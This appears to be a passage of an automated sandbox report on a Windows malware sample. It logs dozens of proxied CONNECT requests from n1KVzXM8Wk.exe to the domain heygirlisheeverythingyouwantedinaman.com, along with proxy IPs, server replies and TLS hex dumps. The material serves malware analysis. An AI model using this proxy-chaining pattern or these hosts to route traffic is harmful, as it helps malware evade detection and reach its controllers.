Feb 23, 2024 09:45:17.077295065 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:17 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
189	192.168.2.4	50086	172.64.80.55	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:16.989346027 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:17.077603102 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:17 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
190	192.168.2.4	50284	142.54.236.97	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:16.989902973 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
191	192.168.2.4	50006	130.193.123.34	5678	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:16.993022919 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
192	192.168.2.4	50010	212.174.79.165	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:16.993206978 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
193	192.168.2.4	50025	88.255.217.44	10820	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:16.993298054 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
194	192.168.2.4	50120	166.62.53.45	51350	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:16.993361950 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
195	192.168.2.4	50136	72.210.208.101	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:16.994179010 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
196	192.168.2.4	50072	185.215.160.118	35010	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:16.994328976 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
197	192.168.2.4	50044	39.109.113.97	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:16.994522095 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:20.037487030 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:20.821588993 CET	309	IN	HTTP/1.1 400 Bad Request Server: nginx/1.16.1 Date: Fri, 23 Feb 2024 08:24:57 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
198	192.168.2.4	50155	51.15.241.5	16379	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:16.994611979 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:20.070516109 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.366966009 CET	536	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please confi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
199	192.168.2.4	50540	23.95.216.90	15673	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:17.012787104 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
200	192.168.2.4	50174	145.239.2.102	15460	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:17.012855053 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:20.037420988 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:23.146966934 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:29.147305965 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:41.147177935 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:53.146770000 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:46:05.148479939 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
201	192.168.2.4	50223	162.214.102.195	56755	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:17.018074989 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
202	192.168.2.4	50541	24.249.199.4	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:17.034898043 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
203	192.168.2.4	50118	123.110.158.236	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:17.050632954 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:17.401468992 CET	340	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.2 Date: Fri, 23 Feb 2024 08:45:17 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
204	192.168.2.4	50133	223.27.144.51	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:17.051430941 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:24.341908932 CET	101	IN	HTTP/1.0 200 Connection Established Proxy-agent: Apache/2.4.41 (Win64) OpenSSL/1.1.1c PHP/7.3.12
Feb 23, 2024 09:45:24.384444952 CET	394	OUT	Data Raw: 16 03 03 01 85 01 00 01 81 03 03 65 d8 5b 24 6b bd 1b ca 77 8b cd 61 83 08 07 e3 68 83 be 96 cc 08 e9 b3 4e 81 67 64 9e 35 e8 67 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: e[$kwahNgd5g*,+0/$#('=<5/.-+(heygirlisheeverythingyouwantedinaman.com#dW&?qcr"[I_M}
Feb 23, 2024 09:45:24.814999104 CET	1286	IN	Data Raw: 16 03 03 00 43 02 00 00 3f 03 03 65 d8 5b 24 af 43 d0 95 06 cc 09 ab d5 50 92 4c 34 cf 53 2c 4b 2e 17 e9 44 4f 57 4e 47 52 44 01 00 c0 2f 00 00 17 00 00 00 00 00 17 00 00 ff 01 00 01 00 00 0b 00 02 01 00 00 23 00 00 16 03 03 10 cb 0b 00 10 c7 00 Data Ascii: C?e[$CPL4S,K.DOWNGRD/#00`4ZmQ0*H0F10UUS1"0 UGoogle Trust Services LLC10UGTS CA 1P50240212203110Z240512203109Z03110/
Feb 23, 2024 09:45:24.815016031 CET	1286	IN	Data Raw: 6d dd 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 03 82 01 01 00 1f 8b 40 68 93 64 2a 2d dc 07 bd 7a 5f 46 c4 ea f2 c8 d7 63 e0 4e cc 42 c7 44 46 d1 17 84 d3 1f 08 47 69 c2 b6 7f dd 9d a0 2d 9e 1b be 1f f8 19 ab ad d9 8d 7d 14 62 f3 40 cf 76 94 Data Ascii: m0H@hd-z_FcNBDFGi-}b@vwTJ;dm55inz74\|"@,+v?iS't;H%['rBuq,/aeYXhV
Feb 23, 2024 09:45:24.815047979 CET	832	IN	Data Raw: 06 03 55 1d 23 04 18 30 16 80 14 60 7b 66 1a 45 0d 97 ca 89 50 2f 7d 04 cd 34 a8 ff fc fd 4b 30 60 06 08 2b 06 01 05 05 07 01 01 04 54 30 52 30 25 06 08 2b 06 01 05 05 07 30 01 86 19 68 74 74 70 3a 2f 2f 6f 63 73 70 2e 70 6b 69 2e 67 6f 6f 67 2f Data Ascii: U#0`{fEP/}4K0`+T0R0%+0http://ocsp.pki.goog/gsr10)+0http://pki.goog/gsr1/gsr1.crt02U+0)0'%#!http://crl.pki.goog/gsr1/gsr1.crl0;U 4020g0g0+y0+y0
Feb 23, 2024 09:45:24.815113068 CET	1286	IN	Data Raw: 59 02 10 51 5c e3 c0 2b fd b7 06 48 51 7e 09 5e 3f 0f dc a7 fe 97 e7 79 c5 0e 44 89 78 c5 69 59 29 a0 9a 3a 48 36 29 a6 94 93 55 2d b8 47 b5 e9 96 b5 9f 07 cd a6 ab 3e 32 8a c0 86 83 c5 c1 41 c8 9f 2f 35 8e 0d c0 07 7a e1 ac c9 65 b5 cb 8a a7 dd Data Ascii: YQ\+HQ~^?yDxiY):H6)U-G>2A/5zeqae92>z6VWAmZ:ucitoL7(n c~+u<.rO6D#?Z]v](VfQQ{=0z$-KO?'>#ZB-z6=`9cxN!>\
Feb 23, 2024 09:45:24.818218946 CET	93	OUT	Data Raw: 16 03 03 00 25 10 00 00 21 20 7f d6 8c ef 63 6a 65 ee 01 d1 e5 9f fd 51 ba c1 38 6c f0 00 52 5e 8e 9f f1 29 b8 7d ad 75 72 6f 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 0d 74 81 ec b6 e1 b0 8b 0d f5 69 47 7c 7f 3c 29 0e ca 00 03 04 Data Ascii: %! cjeQ8lR^)}uro(tiG\|<)t91*14
Feb 23, 2024 09:45:25.237131119 CET	258	IN	Data Raw: 16 03 03 00 ca 04 00 00 c6 00 00 fd 1f 00 c0 3b ec ea 22 b9 7a a8 ed aa b5 49 1a 40 dd fc 8d 1b 84 28 91 24 10 a5 6d 65 0a 5e 61 6f 26 28 2b 75 86 04 48 ce e6 b3 e1 f9 94 06 6e 73 b5 38 11 63 49 e0 b3 37 d6 a5 30 cf c6 b1 4d 0d 3a ed b7 70 bc e4 Data Ascii: ;"zI@($me^ao&(+uHns8cI70M:pbWaWF(RK\i5A<:)<sH5l[L7J=\|Mbab1^dsw50M#RLp?yL"(Fq?LuZ(s$Tr7AK'<
Feb 23, 2024 09:45:25.255279064 CET	147	OUT	Data Raw: 17 03 03 00 8e 00 00 00 00 00 00 00 01 0c 2a a4 9d 9c 42 19 41 13 5a 01 55 08 d6 79 2c 39 14 9a 3d aa 77 ac 60 f0 04 b3 ef 9b 4b 05 a9 07 ff 04 51 1c 17 b7 27 ef 94 25 5e ee ba 32 60 78 52 39 b6 c6 97 77 cc b2 7e f6 6b 34 fb 5d 0e d2 cd f8 c2 5e Data Ascii: BAZUy,9=w`KQ'%^2`xR9w~k4]^8`Bs][I+ C,^=\r~z.n"f@
Feb 23, 2024 09:45:25.895678997 CET	1286	IN	Data Raw: 43 d6 7a cd 3f 21 d0 11 85 55 b5 46 a0 75 29 db bd a2 b3 ff 34 ef 48 33 a8 51 1c 46 d9 5a c9 b6 f2 4b 1b c0 1c 49 df dd 4e 23 9b 8a b6 14 bf 19 50 c9 29 b4 36 8f d0 e2 57 7c 7c c4 e2 b1 e7 d1 4d d1 cd af 91 86 fa 58 81 0c d2 6f 1d 7c 6a 57 1b 60 Data Ascii: Cz?!UFu)4H3QFZKIN#P)6W\|\|MXo\|jW`-_'f~K\|Op4b2eqhKfP_eBf>_\|xik;eUDFg;)/M]\<V1pXO4-<\|.\_Z`%KIf=o
Feb 23, 2024 09:45:25.895705938 CET	1286	IN	Data Raw: 17 03 03 05 71 00 00 00 00 00 00 00 01 cc 85 5f 5d 9c bd 90 10 fe 73 f6 ed a6 5c d2 19 f5 4d 7a d9 91 a6 5b e2 8c 71 06 01 48 5b 44 a2 8e 2e 2f ec 67 43 21 9c 39 fc b3 c6 29 ef 7e b4 45 d9 91 dd 21 5f 42 a0 3b f1 04 22 e8 fa 20 08 76 79 e8 d2 22 Data Ascii: q_]s\Mz[qH[D./gC!9)~E!_B;" vy"BEXoAF3.o5Z;T1c\|M+1fD\|JnaO>^}Iw^"M]-JY<uCC_Ccdu^g&M1V0ewnp'dz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
205	192.168.2.4	50542	89.161.90.203	5678	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:17.061695099 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
206	192.168.2.4	50537	184.181.217.201	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:17.064090014 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
207	192.168.2.4	50261	77.68.111.73	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:17.069013119 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:20.070540905 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:23.178627014 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:29.178551912 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:41.178575039 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:41.337130070 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
208	192.168.2.4	50267	152.228.134.212	32148	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:17.082673073 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:20.146814108 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:23.147272110 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:29.147352934 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:41.147187948 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
209	192.168.2.4	50259	98.170.57.231	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:17.091265917 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
210	192.168.2.4	50240	83.219.145.106	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:17.109455109 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:17.345748901 CET	202	IN	HTTP/1.0 403 Forbidden Content-Length: 811 Content-Type: text/html Date: Fri, 23 Feb 2024 08:45:17 GMT Expires: Fri, 23 Feb 2024 08:45:17 GMT Server: Mikrotik HttpProxy Proxy-Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
211	192.168.2.4	50545	5.196.111.30	20481	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:17.151170015 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
212	192.168.2.4	50539	211.222.252.187	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:17.154321909 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
213	192.168.2.4	50328	174.77.111.196	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:17.164530993 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
214	192.168.2.4	50515	74.119.147.209	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:17.188745022 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
215	192.168.2.4	50549	157.185.161.100	26589	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:17.195597887 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
216	192.168.2.4	50320	109.205.181.27	2419	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:17.206692934 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:20.256530046 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:23.284276009 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
